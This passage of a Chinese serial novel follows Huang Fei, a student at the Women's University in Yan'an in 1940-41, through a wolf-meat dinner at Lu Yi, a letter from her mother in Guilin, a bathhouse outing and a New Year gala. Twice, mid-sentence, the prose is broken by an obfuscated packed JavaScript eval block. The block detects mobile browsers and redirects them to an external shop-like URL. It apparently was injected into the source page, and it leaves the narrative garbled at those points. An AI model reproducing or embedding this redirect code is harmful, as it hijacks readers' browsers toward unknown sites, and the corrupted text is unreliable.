所以有一阵,黄菲曾经立志要当医生。 就这么一路想着心事,不知不觉便走到了抗大的门前,黄菲溜溜达达进去,问了几个人,找到张朝旭的宿舍,进了窑洞,便见里面热气腾腾,也正在热闹之中,十几个人在那里围坐谈笑。 黄菲往人群之中叫了一声:“朝旭姐!” 张朝旭果然在其中,听到呼唤声,扭头一看,又惊又喜:“黄菲,你来了!快过来坐,我介绍你认识几个朋友。” 张朝旭钻出人丛,拉着黄菲的手,把她拖进圈子,一个一个给她绍介,来这里做客的几个人都是鲁艺的学生,有女同学,也有男同学,听说黄菲是在女子大学读书,那几个人都带一点好奇的神色,尤其是男学生,更加眼前一亮,有人马上便问起:“黄菲同志,你是学什么的?” 在他旁边,一个清秀白净、二十出头的男子 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张恨水是她顶喜欢的一个作家,哥哥那里有一堆他的书,黄菲当年读过的第一本张恨水的小说,就是《啼笑因缘》,那情节的紧张真的让人很是揪心。 要说当代也有许多才女,比如冰心、庐隐、石评梅,黄菲也曾读过她们的书,不过闲来她还是更爱看张恨水,因为特别来劲,往往一读就上瘾,让人捧着一本书巴不得一口气看完。 虽然看过很多张恨水的书,也会很热切地与哥哥,还有同学讨论他的小说,从来不觉得有什么,不过这时候听到这个男同学说起屠格涅夫、托尔斯泰,黄菲莫名地便有些惭愧,就好像当初给父亲责骂时的感觉,虽然情形显然是极其不同的,此时对方并没有刻意贬低的意思,只是随意闲谈,然而自己却有一点自惭形秽了,想着人家读的都是大名鼎鼎文豪的书,而自己呢?就只是读一些流行的小说,茶余饭后打发时间而已。 听她说张恨水,旁边另一个男生凑过来说:“张恨水去年刚刚写了一部《秦淮世家》……” 话题就此转为张恨水小说的讨论。 大家说了一阵,忽然窑洞门给人“砰”地撞开,那人站在门口大声嚷:“你们还在这里?小何家里给他捎了东西来,好大几包肉干,还有牛奶糖,我们赶快去帮他尝一尝。” 于是一群人呼啦啦立刻全都站起来,张朝旭一把拉住黄菲:“我们快去,晚了就来不及了。” 黄菲毕竟在延安已经住了几个月,晓得这里的一些情形,似这样的“共产”,乃是惯常的事,从前自己也跟着其她人一起去吃过的,只是这一回,实在有些不好意思,便犹豫着说:“我不去了吧,不认得人家,怪难为情的……” 不等她说完,张朝旭已经拖着她风一样跑了出去:“都是革命好同志,相逢何必曾相识,有什么难为情的?你赶快一点,迟了就没了。” 黄菲便只得同着她一起过去了,到了那里,桌子上果然摆了一大包牛肉干,外包的纸已经给人打开,几个人坐在那里正在努力地嚼着,张朝旭这一帮人到来之后,也不客气,坐下来拿了肉干便吃,一边吃还一边讨论问题: “鬼子轰炸……” “统一战线……” 显示她们不是只为了过来吃东西,而是在关心时政。 热热闹闹聊了一阵,黄菲望了望那位男青年,终于鼓起勇气,问道:“唉,同学,真不好意思,你是叫什么来着?” 在心里憋了好一阵了,之前是介绍过的,不过当时人太多,一闪而过,没有能记得住。 人们哄堂大笑,那个男子也眯着眼睛笑,回答道:“我叫景斌。” 这一天,黄菲在张朝旭这里待到很晚才回去,临别的时候,景斌邀请她:“下个礼拜天到我们学校来吃饭啊!” 旁边有人笑哈哈地说:“鲁艺有名的‘艺术饭’啊!” 黄菲笑嘻嘻,没有说什么,向大家道别,便离去了。 等她回到自己宿舍的窑洞,姚鹏当然早已离开,地上遗落了几颗瓜子皮没有清扫干净。 见她回来了,陈露云赶着告诉她:“今天姚同志是过来辞行的,他要到前线去了。” 黄菲不由得呼出一口气:“啊,是这样啊!” 那么很好啊,今后再不必担心看到他,起码好一段时间不需要有这样的顾虑。 4. 第四章 打败日本野心狼 第四章 打败日本野心狼 十二月的延安,已经非常冷了,在这个时候,火盆成为人们最好的朋友,黄菲也和其她人一样,回到宿舍里,就守着炭盆取暖,况且炭火能够额外增加光亮,读书更方便些。 二十九号礼拜天下午,大家又是围炉取暖,烤着火谈笑: “何敏修刚去了姚店,和当地的同志们一起搞选举呢。” “啊,我真的也想去!” “可惜不行呢,谁让我们是普通班呢?人家是高级班的啊,本来就是党员了呢,原本又读过书,很有水平的,所以才能够参加三级选举。” “哎呀真的是要急死人了,什么时候这样的工作才能够轮到我们呢?为什么我们就不行呢?就算能力还不够,到那里起码可以帮抄写一下,计算票数,我长这么大,还没看过选举,在家乡哪里会有这样的事情?” 是陕甘宁边区乡、县、边区三级政府选举,这一批年轻的学生,都是从国统区或者日本占领区奔赴延安,在那些地方,并没有选举,即使选举,也只是形式,只听到“某某人当选了什么什么”,然而身边的人从没有听说有去投过票,都不知是怎么选出来的,然而到了延安,她们亲眼看到了选举,这一阵各种书报上,许多报告会讨论会,都是在说选举,这就是民主啊,延安果然是不同于腐朽黑暗的旧世界,是中国进步的曙光。 另外要说女子大学的班级编制,很是特别,大体分为四类,最基本的是普通班,就是黄菲这一批青年学生,有一定的文化基础,过往经历相对简单,普通班的学生在女大是人数最多的;还有一种是高级班,也叫高级研究班,都是有文化又有工作经验和能力的党员;另外就是陕甘班和特别班,陕甘班是边区土地革命的女干部,特别班是长征女战士和国统区来的青年女子,这两个班的共同特点就是,学生本身的文化水平偏低, 这一次调去参加民主选举的,就是高级班的学员,让黄菲这些普通班的学生极其羡慕。 熊晖一捋短发,说道:“我们现在努力学习,将来也会有机会的。” 高明霖:“还要争取赶快入党!” 正在说着,忽然传达来了:“小黄,有你一个包裹!” 黄菲听说有自己的信,登时兴奋起来,放下手里的书,便跑过去接过了包裹,其她人嬉笑着也都望向这边,只等她拆开包裹来看。 黄菲却没有立刻打开包裹,她先是把包裹紧紧贴在胸口,靠在心脏处,闭起眼睛来满怀依恋地感受了一会儿,这才把那不大不小的包裹放下来,解开上面的麻绳,只见里面一包腐竹,一包酥糖,一包马蹄粉,还有一包桂花茶,最上面放着一封信。 黄菲拆开信封,将里面的信纸取了出来,足足三大张纸,上面写满了密密麻麻的毛笔字,蝇头小楷十分清秀,是母亲的字迹。 母亲卢兰玉第一句话就写道:“幼蕊吾儿:你既然已去延安,便千万不要回来,桂林并非你久留之地。” 接下来母亲写的便是,自从自己离去之后,父亲是怎样的暴跳如雷,整日咒骂,要自己“干脆就死在外面”,他只当从来就没有这个女儿。 三姨太和大哥也阴阳怪气,幸灾乐祸,三姨太说的是:“这一下可不用再担心会‘养老女’,我们家三小姐啊,在外面不知会给她的爹爹找多少个‘革命伴侣’。” 与农户人家出身的大姨太和二姨太不同,三姨太从前是唱桂戏的,看本子需要能认字,所以三姨太能够读报,家中买了报纸,她也时常拿来读读,所以了解这些时兴的名词。 三姨太的儿子,黄家的长子黄瑞安则是说:“三妹妹是个心高志大的,将来倘若飞黄腾达,我们黄家光宗耀祖,还都要指望着她。” 这简直是火上浇油,气得父亲黄皓瞬间如同火石敲在火镰上,一串火星简直要从脑门顶迸出来,跳着脚咒骂:“我还指望她光宗耀祖呢?这个忤逆不孝的小贱人,伤风败俗,她不要糟蹋了我这门户就算是好的,早知这样,倒不如她早早得病死了的好,也省了我养她这么多年,花了这许多的钱。” 母亲与自己的亲哥哥黄瑞成捂了耳朵不忍心听。 自从接到自己那一封辗转寄回家中的信,母亲是早就想要给自己写信,奈何父亲严令,不允许家里人往延安寄信,三姨太和大少爷盯得又紧,母亲忍耐了好一阵,如今眼看要过年,那边也似乎有所放松,她便偷偷摸摸找到自己已出嫁的二姐,通过二姐往这边寄了一个包裹,里面都是自己往常爱吃的东西,桂花茶留着自己夜里读书的时候,困了喝一点提神。 母亲很是遗憾,没能给自己寄辣椒酱,瓷瓶实在不好千里运送,如今的中国,遍地抗日烽火,听人说寄送物品很容易丢失,就连这一包东西,也不知自己能否收得到,更不要说瓷的玻璃的坛坛罐罐,只怕刚一出桂林就打破了,倘若要吃故乡的辣椒酱,只能是将来衣锦还乡,母亲亲手为自己做辣椒酱。 信的末尾还有哥哥写给自己的两段话,叮嘱自己保重身体,努力学业,未来成为中国有用之人。 另外,信封里还有一些法币。 黄菲读了母亲与哥哥的信,眼里泛着泪花,好一阵才平息下来,转过头来笑着对同学们说:“家里寄来了东西,快一起来吃吧!” 潘岳荣她们早就在等她这一句话,如今她说了出来,这一群姑娘哪里能够客气?一窝蜂涌上来,七手八脚便把酥糖拿了个精光,黄菲只来得及抢出一块来,高明霖还指着一包雪白的粉在问:“这个是什么?糯米粉么?” 黄菲道:“是马蹄粉。” 高明霖露出一脸失望的样子:“啊呀,原来是马蹄,还以为可以煮糯米圆子来吃。” 陈露云在吃的方面很是聪明:“马蹄粉也是好的,比糯米粉不差,我们找一点细糖,来做马蹄糕吃,这腐竹更加好了,煮熟了加酱油麻油一拌,味道别提多美了,今天的小米饭可是有好菜可以下饭,我们往常拿这些酱料拌小米饭,就是难得的美味了,如今有腐竹,提前过年了。” 熊晖点头:“我那里还有一点辣椒,记得上次的香醋也还剩一点,今天的晚饭就是这样,我们悄悄的,赶快都吃掉。” 不能留到明天,到那时就都没了,轮不到自己来吃。 黄菲把法币收藏起来,然后兴冲冲便拿了一点腐竹,又将茶叶也分出一小包,穿起棉袄就往外面走,熊晖在后面招呼她:“刚下了雪,外面很冷的,你去哪里?还要去图书室么?” 黄菲回头匆匆说了一句:“我去透一透空气。” 陈露云在她背后抿着嘴笑:“快去吧,雪地里的空气啊,是格外清新一些,多逛逛,晚一点回来啊!” 黄菲推开了门,走出窑洞,将那一场闹哄哄都留在了身后,快步便向一个方向走去,将近一个钟头之后,前方出现了鲁艺的影子。 景斌坐在窑洞的火炕上,靠着小炕桌,正歪着身子在写字,宿舍里也是一样吵吵闹闹,他写几个字便会停一停,抬起头来看看,微微地笑,这个时候,忽然有人大叫道:“黄菲,你来了!” 在油灯迷蒙的烟气之中,景斌望向窑洞门口,果然一个人影出现在那里,黄菲原本苗条的身材,穿了棉袄有点圆滚滚,显得比深秋的时候胖了好多。 于是景斌连忙从炕上跳下来,迎接过去:“黄菲,外面好冷吧?快来这边坐,暖和一下。” 其他人也笑嘻嘻的,在炭盆旁边给黄菲腾了个地方,另外还有一点空余,是留给景斌的。 黄菲坐下来,将怀里的一小包东西往景斌手里一塞:“给你的。” 景斌捏着牛皮纸包:“家里刚刚寄来的?” 黄菲点了点头。 几个男同学一阵哄笑:“真体贴!” 黄菲将短发捋到耳后,学着人家的样子,咯咯地乐着用现成话解释说:“我们革命同志,有好东西应该分享,难道你们有了好吃的,会不给我么?” 笑声愈发大起来,这时窑洞内一个二十五六岁,年纪最大,也最为成熟沉稳,平日一贯好像大哥一样关照大家的男子,叫做沈芒的,笑着说道:“那自然是要请的,你今天来得刚好,方才老丁套到了一只狼,正在说晚上要炖狼肉来吃。” 老丁是这里的炊事员,套狼很有技巧。 黄菲眼睛一亮:“狼肉啊!太好了,我还没有吃过,一定很好吃的吧?” 沈芒摇头:“不知道,我们也是第一次尝呢。快把腐竹泡起来,一会儿焖在一起。” 于是大家就紧紧簇拥着坐在一起,膝盖碰着膝盖谈天,不多时,晚上五点多,果然一大碗热气腾腾的炖狼肉端了上来,是老丁亲自送过来:“黄菲啊,你来了啊,快尝尝我的手艺!” 黄菲连忙说谢谢。 老丁又问:“听说你还带了东西来是吧?” 黄菲笑着说:“是一点腐竹,我们家乡的土产。” 老丁连连点头:“腐竹好,腐竹好,炖肉最美,快加上快加上!” 沈芒这时已经找了一只小脸盆,把狼肉倒进脸盆里,又加了一些水,把腐竹也放进去,搁在炭火上继续炖。 其他人干脆便请老丁和他们一起吃饭,老丁也不客气,便坐了下来,此时每个人面前一碗小米饭,围着那一小盆狼肉,大口便吃:“吃肉啊,吃肉!” 各个盯着炖肉,眼里放光。 黄菲也是满怀兴奋,抓着筷子便伸向装肉的碗,夹了一块,吹了吹便塞进嘴里,迫不及待用力嚼了两下,然后脸上便是……怎么会是这个味道?又酸又苦啊,而且肉丝特别粗糙,好像木柴煮烂了的感觉。 一时间黄菲差一点把嘴里的肉吐出来,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048739|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而她看了看周围,人们都是皱着眉在吃,努力咽下去,没有一个吐肉的,尤其是老丁,丝毫不见勉强,眉头都不皱一下,就吞了进去,一边吃还一边呵呵地乐,挥着筷子劝着大家:“快吃啊,顶好的肉,这样的天气,多吃一点肉,身上暖和,有力气。” 黄菲把那一块肉在嘴里嚼了好久,直到两腮都麻了,这才不得不咽下,抓过杯子喝了一口水,犹犹豫豫地说:“狼肉怎么是这样的啊?味道好怪啊。” 老丁哈哈一笑:“狼肉嘛,就是这样,那是不如鸡肉猪肉好吃嘛,咱们鲁艺养了几头猪,预备过年杀的,这时候还没有很肥,还可以再养十天半月,现在有狼肉,就先解解馋。” 景斌与黄菲颇有同感,苦着脸说道:“丁师傅,有肉吃当然是很好,不过这狼肉的味道也实在是……” 难以下咽啊! 老丁乐道:“你们看开一点,狼肉其实也没有那么糟糕,毕竟是肉嘛,只不过腥臊的味道重了一点,你们就当是在吃没有料理好的羊肉吧。” 另一个男生愁眉苦脸:“可是这和羊肉根本不能比啊!” 羊肉多嫩啊,就算有一点膻味,也是情趣,有的人偏爱的就是那一股膻气,比如自己,以为倘若没了这种味道,吃羊肉的趣味便失掉了大半,好像吃猪肉一样了,然而这狼肉,味道也实在太糟糕了。 老丁看着他们的这个样子,仿佛格外觉得有意思,笑着说:“狼肉嘛,料理得好,也是可以的,多加花椒大料,茴香八角,就能盖过这种味道,不过咱们这个地方,许多东西都缺,这些调料难买,我手头就一点辣椒大蒜,要做更好一点也为难,不过这好歹是有腐竹,给这狼油一浸,也能当肉吃,你们吃狼肉费力,便吃一点腐竹压压那味道吧。” 大家这时候便想起来: “是啊,吃腐竹,真的好像肉一样。” “幸亏黄菲带了腐竹来,桂林的腐竹,果然名不虚传,又油又润。” 老丁吃饭飞快,不多时便吃完了,坐在那里点起烟袋来,一边吸着一边说:“冬天里的狼,讨人嫌,总来猪圈,叼起小猪仔就跑了。” 黄菲忽然间便想到:“我当初读鲁迅先生的文章,《祝福》,里面祥林嫂的独养儿子,就是给狼冬天叼走了的。” 沈芒点头:“是的,就好像如今的日本帝国主义,残害人民。” 对面一个男生道:“所以我们今天吃狼肉,明天就要打败日本这个害人狼!” 于是众人的情绪便逐渐激奋起来,吃狼肉也有了新的意义,仿佛正在与侵略者作战一样,在这样的激动之下,那狼肉便也不再显得怎样太过难吃,大家吃饭的速度明显加快,不多时便将一大碗狼肉分着吃完了。 吃过了晚饭,又谈了一会儿天,黄菲便说要回去了,这个时候大家公推景斌送她回去:“小心有狼,带上木棒!” 黄菲便与景斌每人手里拎了一根柴棒走出窑洞,沿着铺满积雪的道路,一路往女大方向走去,一边走,一边说着话,黄菲见周围没了别人,便将藏在怀里的那一块酥糖和一小包茶叶塞给了他。 景斌说着:“……每当我想到你的身世,就想到了艾青的那首诗,《大堰河,我的保姆》,封建社会是多么的摧残人啊!……” 与黄菲逐渐熟悉之后,两个人自然便要互相讲述自己的过往,黄菲告诉景斌,因为给算命先生说自己的八字不吉利,专克兄长,哥哥黄瑞成比自己大两岁,当年自己出生,偏巧哥哥生了重病,请了许多医生来治疗,也不见好转,最终便请了个号称神算的先生,那人把全家的人看过一遍,说是刚刚出生不久的自己妨碍了哥哥,倘若送走自己,哥哥便能好转,父亲便决定将不到半岁的自己送到乡下寄养,以便保住嫡子。 黄菲好奇地问:“还有这样一首诗吗?” 自己从来不曾听到过。 景斌马上便给她背诵: “大堰河,是我的保姆。 她的名字就是生她的村庄的名字, 她是童养媳, 大堰河,是我的保姆。 我是地主的儿子; 也是吃了大堰河的奶而长大了的 大堰河的儿子……” 景斌朗诵的情感十分投入,黄菲也听得逐渐沉迷,只觉得句句都是自己的心声。 几分钟后,景斌不很完整地背完了大半首诗,中间很多脱落句,只不过黄菲不晓得,然后景斌很是激动地说:“封建思想毒害人性,让这个人间成为一个炼狱,就连最为珍贵的亲情都不再是温暖坚实的了。” 见景斌如此愤慨,黄菲心头一阵温暖,感觉很是安慰,在这种欣慰之余,她也有另一种感情:“虽然家里送我离开,很是没有感情,不过却也不完全是坏事,我挺喜欢乡下,喜欢那里的人情淳朴,喜欢我的乳母。” 5. 第五章 延安颂 第五章 延安颂 又过了两天,就是十二月三十一号,虽然是周二,白天有许多功课,不过想到第二天就是新年,大家便都很感觉轻松愉快,到了下午四点多,当天的课程基本结束,几个女同学便相约去洗澡。 是要去附近的旅馆洗浴,在延安,没有女澡堂,而自己烧水洗澡又比较麻烦,把水壶放在炭盆上,虽然可以烧热水,但是倘若就这样在窑洞里洗澡擦身,无论如何小心,总会溅得满地水,这里面又是泥地,虽然是夯实了的,倘若水多了,终究要形成小小的泥坑,所以洗澡是个问题,尤其是对于那些爱干净的人,特别是女生,很是头疼。 所以多数女生平时在宿舍里简单擦身,每隔十天半月,便约会去临近的旅社洗澡,那里好在有沐浴设备,当然是要付钱,不过为了让身上清爽,一些女生也就不计较这一点钱,黄菲也是如此,母亲刚给她寄了钱来,在延安,是法币与边币通用的,所以她此时手头相对宽裕,花起钱来便比较大方,想着马上便是新年,更加想着痛痛快快洗一回澡,干干净净迎接新的一年。 窑洞里几个同学清脆地说笑着,各自收拾面盆毛巾和香皂,黄菲也把自己的东西打点了一个小竹篮,转头瞥见高明霖,见她正盯着炭盆发愣,便笑着说:“明霖,你怎么还不赶快穿衣服?” 高明霖摇头:“你们去吧,我不去。” 黄菲晃了晃头,好奇地问:“你不去么?” 高明霖道:“不去。” 旁边陈露云撇了撇嘴:“半个月没洗了,你还不去?” 高明霖说:“等你们走了,我自己到河里去洗。” 她这句话一说出来,其她人登时都震惊了,先不说万一给人看到,这个群众影响的问题,如今已经是腊月了,延河早已结冰,冰层还很厚的,高明霖要怎么样下河洗澡? 于是熊晖便问:“这么冷的天,外面都是雪呢,河水还结冰,你到河里洗澡,不怕冻死了?” 高明霖坐在那里,纹丝不动:“不怕,我听人家说了,水里其实没有那么冷的,你们看那些鱼呀虾啊,都还在里面游,所以人也是可以的,我穿着衬衣衬裤进去,冷了就出来。” 听她计划得如此周全,大家登时更为担忧,纷纷七嘴八舌劝她: “不要啊,水里那么冷,下去了容易腿抽筋。” “穿着衣服怎么洗澡?手伸到里面去搓么?洗不干净的,还是和我们一起去旅馆洗的好。” “是啊,冻病了很麻烦的,医院里没有那么多药,倘若得了肺炎很危险。” 尤其陈露云的提议格外奇特:“你要么在岸边生起一堆火,冷了就上来烤烤火,暖和一下?” 听到陈露云这样一句话,高明霖登时仿佛受到了奇耻大辱,脸上瞬间胀红起来,语气十分激动:“只不过下河去洗个澡,就要这样娇贵么?还要生火?当年红军长征,爬雪山过草地,那么多艰难困苦,眉头都不皱一下,人家个个都是钢筋铁骨,是英雄,如今我们呢?我可不要去旅馆洗澡,让人家说资产阶级的小姐不能革命!” 她这一段话讲出来,大家便明白了,高明霖是因为给人怀疑不能革命,所以要这样磨炼意志,黄菲头脑里冒出来的第一个念头则是:然而你不是资产阶级啊,你家和我家一样,都是地主。 而且高家还是大地主,那阶层地位可比黄家高得多,黄家虽然在本乡颇为有名,终究不脱土财主的气息,高家则是在城里也有宅子,从高明霖的祖父辈,就是颇有名望的学者,父亲去国外留过学,哥哥也是国内一流学府的才子。 然后黄菲想到:“可是明霖,你前几天月事刚过去的啊,这个时候下河到冰水里面洗澡,受了寒不是玩笑的,我妈和我说的,女人最关紧要的是两个时候,一个是月事,一个是生产之后的那一个月,倘若调养不好,一生受病,不能好的,很是遭罪。” 她这样一说,别的人也都想了起来:“是啊明霖,黄菲说得有道理,我们革命者,身体的健康很是重要,否则无论有多少理想,身体不好也实现,倘若身上总是病痛,那还怎么做工作呢?” 潘岳荣也劝道:“我的那个时候虽然不怎样痛,但是看到过人家痛的,在床上打滚,莫非你也要那个样子么?为了锻炼自己,反而把身体搞坏了,这也是对革命的不负责任啊,要知道我们的身体,不仅仅属于我们自身,更加是属于革命的,为了革命,要爱惜自己啊,不能这样蛮干。” 经过大家这样一番劝说,尤其熊晖那一番话,非常有理论水平,高明霖的念头便慢慢转了过来,她愤愤地捶了一下自己的小腹:“我真恨啊,恨自己为什么是个女儿身?晕车也就罢了,偏偏每个月还要来这个,身为女子,就是有这么多的不方便,总是耽误革命。” 晕车男人也会有,在这一项上,是平等了,可是男人无论如何也没有月经。 熊晖也有所感慨:“有时候我真希望自己是个男人,就不会有这些麻烦,每个月烦死了。” 高明霖于是下了炕,收拾自己的物品,不多时,几个女学生一起走出窑洞,谈笑着往旅社而去。 旅社之中,几个女生泡在池子里,热水让人浑身舒服,所有的血管都仿佛格外通畅,血液流淌变快,泡得久了,人就有点懒洋洋,本来黄菲是在和大家一起热热闹闹地说话,过了一阵,便懒得再说,两手巴在池壁上,望着水池上方腾起的袅袅蒸汽出神,那边陈露云也差不多,眯起眼睛简直好像要睡着了一样。 黄菲全身浸泡在热水里,就这么神游了一阵,想到自己的故乡,还有母亲,马上便是新年,她一定格外想念自己,还有自己的哥哥,他在做什么?还是在读书么?然后不知怎么,念头一转,便又想到景斌身上,据说过一阵要去农村,收集大生产运动的资料,回来写小说。 想着想着,黄菲忽然张口唱道:“唱支山歌解忧愁,喝杯凉水甜心头,凉水解得心头苦,我哥为妹解忧愁。” 这一支小调唱完,熊晖几个人拍手鼓掌: “唱得好!” “再唱一个!” 陈露云在一旁,抿着嘴瞥着她笑。 黄菲不由得有些得意,自己顶喜欢唱歌,而且不是自己骄傲,确实唱得不错呢,每次唱起来,周围的人都喜欢听,给人一夸赞,自己就更加爱唱歌,于是此时,她就又接连唱了几支“昱仔”,也就是山歌,到这时便振作精神,又唱一支:“八月十五是中秋,有人快乐有人愁,有人楼上吹箫鼓,有人地下叹风流。” 这支曲子意蕴悠长,在这样的日子里,格外容易引发人的感慨,听黄菲唱完,熊晖不由得便感叹:“是啊,每到逢年过节,有钱的人自然是加倍欢乐,但是那没钱的穷苦人,心情就很是凄伤,怎样的繁华风流都是属于别人的。” 高明霖也点头:“所以我一想到自己从前过的那种生活,就感觉羞耻,虽然是皮鞋汽车的日子,然而那是剥削得来的,是腐朽的,罪恶的,我再不要过那种有罪的生活,不想当‘小姐太太’,要当‘同志’,我要用自己的双手来劳动,创造新世界。” 潘岳荣叹道:“所以我们能够在延安这样的圣地生活,是多么幸福啊!” 陈露云依然是抿着嘴唇,咪咪地笑:“黄菲,詹妈妈还给你唱过这首歌么?” 黄菲摇头笑着说:“这个是我妈唱的。” 母亲往往凄凉地唱过这支歌后,便红着眼圈,用低低的声音向自己痛诉丈夫的无良,负心忘意,接连娶了两个偏房,在这样说着的同时,视线还不由得不住向两边睃着,仿佛生怕给什么人听到一样。 陈露云用手指掠了掠鬓边的头发,笑道:“我就听着调子有点不一样,唱词也雅致些,不像是乡下不识字的人能唱得出的。” 潘岳荣连忙说:“露云,你这是歧视劳动人民,工农劳动者就不能是文雅的么?” 陈露云咯咯地乐:“那得看是怎样的工农,要是那些有技术的呢,自然不同了,穿皮鞋戴礼帽,一副文化人的派头呢,赚的钱也多。” 毕竟在这里已经半年时间,对于延安的许多事情,陈露云愈发清楚了,晓得这里技术工人身份极高,穿戴都十分洋气,简直一派资产阶级的调调儿,说话做事也与别人不一样,很有点“高人一等”的样子,薪水更加高了,每个月大约十八九元,甚至有人能拿到三十几元,是延安赚钱最多的人,当然中央首长除外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048740|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然不晓得首长们赚多少,但是想来不会很低的,两边也没法比较。 再看看自己呢?每个月一块钱的津贴,自然了,现在还是学生,边区政府能给自己这样的学生发津贴,就已经很不错,不过即使一年半之后从学校毕业,进入机关工作,拿政府津贴,与人家依然是不能比的,每个月二三十元啊,这样的薪水不要说在延安,即使是北平上海,也是可以让人羡慕的了,想一想这些钱在延安,能买多少东西啊! 所以有的时候陈露云对于自己的婚姻大事,就有点犹豫起来,究竟是嫁战斗英雄好呢,还是嫁一个工程师好呢?军队里的高级干部虽然很荣耀,津贴也高,但是危险也大,上前线很容易死掉的,那样自己就没了丈夫,只靠着自己做事务员那一点点可怜的津贴,日子很苦的,倘若有了一个孩子,就更加为难,假如是一个工程师,就好得多了,钱呢是不会少拿,又不会有那么多的风险,自己不必担心当寡妇,中途给人丢下了,甚至还要一个人拉扯几个孩子。 这一个热水澡直洗了半个多钟头的时间,先洗身上,然后又洗头,最后一个个女孩子从热水池里爬出来,都感觉身上有点发软,黄菲回头一瞥池水,上面浮着一层极细的白沫。 陈露云披了衣服,靠在一边软软地说:“这一个澡洗得,有些筋疲力竭啊!” 潘岳荣噗嗤一笑:“大概是好久没洗澡了,洗一次就花费特别多的力气,很是痛快,所以也就感觉累。” 高明霖伸了个懒腰:“反正是很舒服啊,泡了这一阵热水,骨头都轻了三两,轻飘飘地好像要作神仙一样。” 黄菲在一旁捂着嘴笑,之前不是还想要去洗冰水澡吗? 这一次彻底洗浴,让大家过新年的劲头愈发高涨,第二天一九四一年一月一号,白天放假,到了晚上,是盛大的晚会。 这一天,哪怕是黄菲这样的书迷,也没有像往常那样整天读书,她上午看了一阵书,下午睡过一觉,到了晚上,吃过晚饭,便精神饱满地跑出窑洞,在女大的门口见到了已经等了一阵的景斌,景斌的脸冻得发红,黄菲笑着向他说了一声抱歉,景斌露出一口白牙,说没什么,自己也是刚到,两个人便相伴走向大礼堂,去那里看晚会。 两个人避开了熟悉的人,窝在一个角落里看舞台上,好在这里已经挤满了人,简直好像成捆的稻草,想要移动一下都费力,真正叫做“水泄不通”,在这样的人山人海之中,周围想要找到熟悉的人也是为难,所以黄菲虽然有点忐忑,但在景斌的安慰之下,过了一阵便也能安心观看演出。 当天的晚会是在《延安颂》庄严的歌声中开始的。 “……哦!延安, 你这庄严雄伟的古城, 到处传遍了抗战的歌声。 哦!延安, 你这庄严雄伟的古城, 热血在你胸中奔腾……” 这在延安,是很出名的一支歌曲,黄菲来到这里半年,已经听人唱过几十上百遍,早就把调子和歌词都记熟了,此时便也跟着轻声哼唱。 景斌在一旁低声和她说:“歌词是莫耶写的,在延安,她也是一位很有名的才女。” 投奔延安的才女有很多,比如丁玲,陈学昭,都是大名鼎鼎,莫耶虽然不能与她们相比,但也是很出色的,她写的这篇《延安颂》的诗歌,谱曲之后传唱各地,激励中华抗战,也唤起了大家对延安的向往,听说连毛主席也很是赞赏呢。 黄菲连连点头,对于莫耶,她也是久闻其名,很是景慕,刚来到延安不久,就看了她编写的话剧《到八路军里去》,很是激动人心,只有共产党,只有八路军,才是□□的希望。 接下来几个节目之后,是一个女子独唱,站在台上的是一个身材苗条的年轻女同志,这个人往台上那么一站,台下人群中登时一阵嗡嗡声: “叶群!是叶群!” “女大的叶群啊!” 就连景斌也啧啧连声:“那就是叶群,延安的四大美女之一!” 黄菲咯咯地乐,一只脚在下面狠踩了一下景斌,口中“哎呦”一声,“不好意思,我踩到你的脚了”,景斌于是便只是笑,不再说什么。 6. 第六章 本土偶像洪宣娇 第六章 本土偶像洪宣娇 新年之后,便准备过春节,距离除夕不过二十几天,这个时候哪怕是最热爱学习的人,也难免有些慢了进度,注意力时不时便难以控制地转移到过年的话题上去,精神总是不能集中,景斌就和黄菲说过:“写文章实在难以下笔,写几行字就要断开了,宿舍里也实在是吵,将来我有了自己的家庭,一定要清静些,不要住在闹市的地方。” 黄菲嘻嘻地笑,景斌不止和她抱怨过一回了,与自己不同,景斌虽然也能够融入集体生活的氛围,但许多时候难免感觉到打扰,每每正在他文章构思有突破的时候,便给周围的喧闹打断了,而自己则是欢欢喜喜拥抱这种火热的氛围,很喜欢听大家说话,也愿意加入到谈论之中,假如是要看书呢,窑洞内同学们的说话声便是最好的伴奏。 起初自然也是有些生疏的,不过适应了一阵之后,如今自己已经不在意,熊晖她们议论得越是热烈,自己就越是能够静下心来读书,就好像从前在桂林家中,过年的时候,外面鞭炮炸裂,锣鼓喧天,自己坐在母亲的房间里,只抬头向窗外略望望,便又低下头来看书,就是在这样的热闹之中,感觉内心格外的安宁。 这种时候,宁妈妈过来送茶水点心,看到自己一脸平静地还在读书,便大呼小叫起来:“啊哟哟我的小姐,你可真的好像仙女一样,大家都在外面看放炮,你还在这里看书呢!怎么不瞧瞧热闹去?” 听到宁妈妈这样的惊叹,自己虽然不说什么,暗暗地却也有一种“与旁人不同”的骄傲。 到了中旬,去姚店参加三级选举的何敏修也回来了,她是因为一些特殊的原因,提前回延安,黄菲与熊晖去探望她,顺便也是很想要知道选举究竟是什么样子,到了那里,便看到何敏修显然瘦了,可见这一阵到乡村去,过得比较艰苦。 